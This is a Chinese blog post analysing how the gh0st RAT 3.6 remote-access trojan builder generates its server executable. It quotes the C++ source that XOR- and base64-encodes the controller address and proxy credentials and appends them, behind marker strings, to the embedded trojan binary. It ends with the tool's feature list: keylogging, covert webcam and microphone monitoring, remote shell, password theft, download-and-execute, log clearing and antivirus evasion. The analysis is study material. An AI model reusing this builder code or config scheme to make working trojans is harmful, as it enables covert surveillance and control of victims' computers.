gh0st3.6源码分析(1)——木马的生成


在分析木马程序时如何安装的之前,我们首先需要简单的了解下,木马程序时如何生成的。

我们知道,木马程序时作为资源文件被存储到主程序中的,生成木马的时候释放出来。

        

         那一些木马连接的配置信息是如何保存的呢?先看下面一个截图



上线字符串时时木马程序在连接客户端时必须的信息,保存着客户端地址相关信息。这段字符串时将客户端信息加密处理得来的。我们看下gh0st 中的

void CSettingsView::OnChangeConfig(UINT id)
{
	UpdateData();
	m_remote_host.Replace(" ", "");
	m_remote_port.Replace(" ", "");
	m_proxy_host.Replace(" ", "");
	m_proxy_port.Replace(" ", "");
	m_proxy_user.Replace(" ", "");
	m_proxy_pass.Replace(" ", "");

	CString str = m_remote_host + ":" + m_remote_port;

	if (m_bIsUsedProxy && m_proxy_host.GetLength() && m_proxy_port.GetLength())
	{
		str += "|" + m_proxy_host + ":" + m_proxy_port;
		if (m_bIsProxyAuth && m_proxy_user.GetLength() && m_proxy_pass.GetLength())
			str += "|" + m_proxy_user + ":" + m_proxy_pass;
	}
	str.MakeLower();
	m_encode = MyEncode(str.GetBuffer(0));
	m_encode.Insert(0, "AAAA");
	m_encode += "AAAA";
	UpdateData(FALSE);

	if (m_bIsSaveAsDefault)
	{
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "Host", m_remote_host);
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "Port", m_remote_port);
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyHost", m_proxy_host);
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyPort", m_proxy_port);
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyUser", m_proxy_user);
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Connection", "ProxyPass", m_proxy_pass);	
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Connection", "UsedProxy", m_bIsUsedProxy);
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Connection", "ProxyAuth", m_bIsProxyAuth);
	}
}

从函数分析可知,程序将ip地址端口port以ip:port的形式保存起来,(若其他信息的话使用‘|’连接起来),然后进行加密处理,再在加密后的字符串两边添加AAAA标志

看下加密函数如下:

char* MyEncode(char *str)
{
	int		i, len;
	char	*p;
	char	*s, *data;
	len = strlen(str) + 1;
	s = (char *)malloc(len);
	memcpy(s, str, len);
	for (i = 0; i < len; i++)
	{
		s[i] ^= 0x19;
		s[i] += 0x86;
	}
	base64_encode(s, len, &data);
	free(s);
	return data;
}

程序对字符串先逐个进行简单的异或相加,然后base64加密。

 

再看下生成界面的配置

http上线暂且不讲,生成程序在gh0st中BuildView中。

void CBuildView::OnBuild() 
{
	// TODO: Add your control notification handler code here
	UpdateData(true);
	if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty())
	{
		AfxMessageBox("请完整填写服务显示名称和描述 -:(");
		return;
	}
	CString strAddress;

	// 保存配置
	((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "DisplayName", m_ServiceDisplayName);
	((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "Description", m_ServiceDescription);
	((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt("Build", "enablehttp", m_enable_http);
	if (m_enable_http)
	{
		CString str;
		GetDlgItemText(IDC_URL, str);
		((CGh0stApp *)AfxGetApp())->m_IniFile.SetString("Build", "httpurl", str);
		str.MakeLower();
		strAddress = MyEncode(str.GetBuffer(0));
	}
	else
	{
		GetDlgItemText(IDC_DNS_STRING, strAddress);
		if (strAddress.Find("AAAA") == -1)
		{
			AfxMessageBox("域名上线字串格式出错 -:(");
			return;
		}
		strAddress.Replace("AAAA", "");
	}

	CString		strServiceConfig;
	strServiceConfig.Format("%s|%s", MyEncode(m_ServiceDisplayName.GetBuffer(0)), 
		MyEncode(m_ServiceDescription.GetBuffer(0)));

	CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL);
	if(dlg.DoModal () != IDOK)
		return;
	
	HINSTANCE	hInstance;
	HRSRC		hResInfo;
	DWORD		dwResLen;
	HGLOBAL		hResData;
	LPBYTE		lpData;
	hInstance = AfxGetApp()->m_hInstance;
	hResInfo = FindResource(hInstance, (LPCTSTR)IDR_BSS, (LPCTSTR)"BSS");
	dwResLen = SizeofResource(hInstance, hResInfo);
	hResData = LoadResource(hInstance, hResInfo);
	lpData = (LPBYTE)LockResource(hResData);

	CFile file;
	if(file.Open (dlg.GetPathName(), CFile::modeCreate | CFile::modeWrite))
	{
		try
		{
			file.Write(lpData, dwResLen);
			// 写入6个'C',是服务的名称和描述
			file.Write("CCCCCC", 6);
			file.Write(strServiceConfig, strServiceConfig.GetLength() + 1);
			// 写入6个'A',安装时查找
			file.Write("AAAAAA", 6);
			file.Write(strAddress, strAddress.GetLength() + 1);
			file.Close();
			AfxMessageBox("文件保存成功,请用加壳软件进行压缩 -:)");
		}
		catch(...)
		{
			MessageBox("文件保存失败,请检查","提示",MB_OK|MB_ICONSTOP);
		}
	}
	FreeResource(hResData);
}

通过函数可知,程序先判断改界面配置信息是否完整。保存服务名称servername和服务描述serverdescription,以及上线字符串。

然后将上线字符串的AAAA标志去掉。

将servername和serverdescription使用‘|’连接起来并调用函数MyEncode函数加密,将结果保存到strServiceConfig中。

 

将定位资源中木马程序的地址,并获的木马大小,将其写到另外一个文件,然后将服务名称和描述信息strServiceConfig,上线字符串写到程序的最后面,不过在写入时分别加入了识别标志,strServiceConfig前写了6个字节的C,上线字符串写了6个字节的A,然后保存文件。

 

我们看一些生成文件尾部的信息。



可知,客户端程序最后将连接信息保存到了木马程序的尾部

gh0st RAT是红狼小组出品的一款很优秀的远程控制软件。自从红狼上次公布了gh0st 2.5版本的源代码之后,就一直没开源了,这次更新的gh0st 3.6 又再次开源 Gh0st RAT C.Rufus Security Team http://www.wolfexp.net 控制端采用IOCP模型,数据传输采用zlib压缩方式 稳定快速,上线数量无上限,可同时控制上万台主机 控制端自动检测CPU使用率调整自己的工作线程, 稳定高效 宿主为svchost以系统服务启动,有远程守护线程,上线间隔为两分钟。 心跳包机制防止意外掉线.. 支持HTTP和DNS上线两种方式 自动恢复SSDT(这功能干什么,大家都知道,免杀自己做吧),安装本程序需要管理员权限 控制端279K,返朴归真的界面,生成的服务端无壳,106 K,EXE内的资源用UPX压缩, 可安装多个服务端 其它细节方面的功能大家自己去发现吧 功能: 文件管理 完全仿Radmin所写, 文件、文件夹批量上传、删除、下载、创建、重命名 屏幕监视 扫描算法速度最快可达到120帧/秒,差异算法适合网络极差的情况下传输,传输速度快,控制屏幕,发送Ctrl+Alt+Del,剪贴板操作,7种色彩显示方式,等...... 键盘记录 可记录中英文信息,离线记录(记录上限50M)功能 远程终端 一个简单shell 系统管理 进程管理,窗口管理,拨号上网密码获取 视频查看 查看远程摄像头,快照,录像,压缩等功能... 语音监听 监听远程语音,同时也可以把本地语音传送给远程,进行语音聊天,GSM610压缩方式,传输流畅 会话管理 注销,重启,关机,卸载服务端 其它功能 下载执行指定URL中的程序,隐藏或者显示访问指定网址,清除系统日志 地址位置 将IP数据库文件QQWry.Dat放置程序同目录下即可显示地理位置 集群控制 可同时控制多台主机,同时打开视频监控等管理功能 备注功能 .........
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值